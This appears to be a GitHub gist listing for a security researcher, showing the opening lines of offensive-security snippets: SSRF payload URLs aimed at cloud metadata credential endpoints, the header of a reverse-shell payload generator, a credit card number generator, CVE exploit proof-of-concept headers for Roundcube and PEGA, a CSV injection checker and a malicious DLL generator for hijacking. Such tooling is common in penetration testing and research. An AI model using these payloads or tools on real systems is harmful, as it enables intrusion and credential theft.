Skip to content

Instantly share code, notes, and snippets.

View klezVirus's full-sized avatar

klezVirus

View GitHub Profile
@klezVirus
klezVirus / cloud_metadata.txt
Created January 13, 2020 14:55 — forked from BuffaloWill/cloud_metadata.txt
Cloud Metadata Dictionary useful for SSRF Testing
## IPv6 Tests
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]
## AWS
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
<#
Module: Invoke-DefenderDownload
Author: d3adc0de
Licence: MIT
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@klezVirus
klezVirus / genrevshell.py
Created September 17, 2020 12:22
Simple script to generate reverse shell payloads for PowerShell and NodeJS
#!/usr/bin/python3
import argparse
import sys, os
import ipaddress
import base64
from tempfile import NamedTemporaryFile as ntf
from subprocess import run
class Encoder:
@klezVirus
klezVirus / Invoke-USBDevSearch.ps1
Last active September 23, 2020 08:33
A script to search for USB connected devices using Windows registry
function Invoke-USBDevSearch(){
<#
.SYNOPSIS
Easy script that searches through connected USB devices filtering via a text string or guid.
# Import
ipmo .\Invoke-USBDevSearch.ps1
# Run
Invoke-USBDevSearch [-Search|-Guid] <search-term>
.EXAMPLE
@klezVirus
klezVirus / cc-gen.py
Created October 11, 2020 16:06
Simple Credit Card Number Generator
"""
Title: Simple Credit Card Number Generator
Author: d3adc0de
Description: A simple script to generate random credit card numbers, using the same (or similar)
approach used by major Credit Card Issuers.
To do that, the script uses the expected prefix and length used by a specific
issuer, and further validates the generated number against the Luhn Formula.
"""
import string
import random
@klezVirus
klezVirus / CVE-2017-16651.py
Created January 9, 2021 16:25
CVE-2017-16651 - Roundcube Webmail File Disclosure Vulnerability - Exploit POC
#!/usr/bin/env python
# -------------------------------------------------------------------------------------------------------------------
# Exploit Author: d3adc0de
# Software: https://roundcube.net/
# Versions: 1.1.0 - 1.1.9, 1.2.0 - 1.2.6, 1.3.0 - 1.3.2
# CVE: CVE-2017-16651
# Credits: Thomas Bruederli (Discoverer)
# Release date: 2017-11-09
# Vulnerability Description: https://gist.github.com/thomascube/3ace32074e23fca0e6510e500bd914a1
# -------------------------------------------------------------------------------------------------------------------
@klezVirus
klezVirus / csvi-check.py
Created March 1, 2021 13:54
Simple CSV Injection Check
import csv
import sys
import os
import argparse
def check(args):
csv_injection = ["=", "@", "+", "-"]
end = "\n [-] Finished!"
novuln = " No Vulnerability found."
@klezVirus
klezVirus / cve-2017-11356.py
Last active March 15, 2021 11:01
CVE-2017-11356: PEGA Platform Missing Access Control
import requests
import sys
import argparse
import traceback
import pytest
import time
import json
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
@klezVirus
klezVirus / evilldll-gen.sh
Last active March 1, 2024 12:07
Simple Malicious DLL Generator for DLL Hijacking Attacks
#!/bin/sh
usage(){
echo "# ################# Simple CPP to DLL Utility ################# #"
echo "# This tool has been maded to easily generate and compile a DLL to be used for DLL hijacking.#"
echo "# #"
echo "# ========================================================================================== #"
echo "# #"
echo "# Usage: #"
echo "# ./dll-gcc [Options] <input-file> #"
define(["require", "exports"], function (require, exports) {
/**
* Helper to use the Command Line Interface (CLI) easily with both Windows and Unix environments.
* Requires underscore or lodash as global through "_".
*/
var Cli = (function () {
function Cli() {
}
/**
* Execute a CLI command.